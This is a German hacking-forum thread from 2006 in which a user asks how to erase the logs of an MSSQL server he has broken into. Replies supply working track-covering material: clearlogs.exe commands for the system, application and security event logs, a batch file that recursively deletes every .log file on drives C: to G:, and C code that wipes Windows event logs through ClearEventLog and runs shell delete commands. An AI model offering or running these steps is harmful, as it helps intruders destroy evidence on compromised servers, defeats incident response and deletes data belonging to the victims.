#1 6. Januar 2006 Also, ich hab malne frage wie lösch ich am besten die logs beim mssql logs wenn ich den gehackt hab? wäre nett wenn ihr mir das sagen würdet + Multi-Zitat Zitieren
#2 6. Januar 2006 Standardmäßig werden bei MSSQL gar keine Logs angelegt. Meistens sind sie aber aktiviert d.h. wär geschickt wenn du im Programmordner von MSSQL den Ordner Logs leerst und die Windows Ereignisanzeige mit clearlogs.exe löschst, da dort auch alles protokolliert wird. + Multi-Zitat Zitieren
#3 6. Januar 2006 und wie find ich die mssql logs ordner und wie ich das mit dem clearlog.exe mache, erklär mal bitte kurz + Multi-Zitat Zitieren
#4 6. Januar 2006 Da gibt es nen tut zu in der tuturial section unter leecher & upper support da gleich das erste tut zum thema mssql haxxing, da stehts drinne wie es verwendet wird + Multi-Zitat Zitieren
#5 6. Januar 2006 clearlogs -sys clearlogs -app clearlogs -sec alle logs Löschen del c:\*.log /s Mfg + Multi-Zitat Zitieren
#6 6. Januar 2006 muss ich alles 2 machen, oder lang das wenn ich del c:\*.log /s mache? achja, wenn ich das dann so machen del c:\ErrorLog.* /s /F clearlog.exe -sys clearlog.exe -app clearlog.exe -sec dann is doch alles weg, oder? + Multi-Zitat Zitieren
#7 6. Januar 2006 Nee wenn du del C:\errorlog.* /S /F machst wird er nicht viel löschen du musst schon alle Log´s löschen!! das kannst du am besten mit ner Bat machen !! Ich gebe dir nen tipp Code: echo Lösche logs >>löschlogs.txt del c:\*.log /s >>löschlogs.txt del d:\*.log /s >>löschlogs.txt del e:\*.log /s >>löschlogs.txt del f:\*.log /s >>löschlogs.txt del g:\*.log /s >>löschlogs.txt den code ine TXT rein schreiben und dann speichern. Dann aus dem TXT am ende ne bat machen und mit hochladen und ausführen! Dann bekommste in der löschlogs.txt gesagt was er gelöscht hat!!! PS: Die löschlogs.txt kannst du mit type löschlogs.txt lesen und dan nach wida löschen!!! mfg rezzer + Multi-Zitat Zitieren
#8 6. Januar 2006 Moin, Wenn das trozdem net klappen sollte bitte per PN melden ( Hatte irgendwie nen Doppel post und bevor ich edit mache nutze ich den hier lieber ^^) mfg rezzer + Multi-Zitat Zitieren
#9 6. Januar 2006 ich hab von xodox was bekommen, und hab das weng geändert, kann man das so nehmen? Code: #include <stdio.h> #include <stdlib.h> #include <windows.h> int main(int argc,char *argv[]) { HANDLE hLog; if((hLog=OpenEventLog(NULL,"Application"))!=NULL) { ClearEventLog(hLog,NULL); CloseEventLog(hLog); } if((hLog=OpenEventLog(NULL,"Security"))!=NULL) { ClearEventLog(hLog,NULL); CloseEventLog(hLog); } if((hLog=OpenEventLog(NULL,"System"))!=NULL) { ClearEventLog(hLog,NULL); CloseEventLog(hLog); } system("del c:\errorlog.* /s /F"); system("del c:\ErrorLog.* /s /F"); system("start c:\Windows\System32\clearlog.exe -app -sec -sys"); } + Multi-Zitat Zitieren
#10 6. Januar 2006 Ich vermute mal du hast da ein Verständnisproblem...warum startest du die clearlogs.exe? system("start c:\Windows\System32\clearlog.exe -app -sec -sys"); Offenbar hast du nicht gecheckt was der Code von Xodox bewirken soll; das is nämlich genau das was die clearlogs.exe auch macht. Die Ereignisanzeige zu löschen. + Multi-Zitat Zitieren
#11 6. Januar 2006 ja, ich will nicht meckern, aber rezzers zeug is müll, den die errorlog nicht mit .log aufhört, sondern mit zahlen.... + Multi-Zitat Zitieren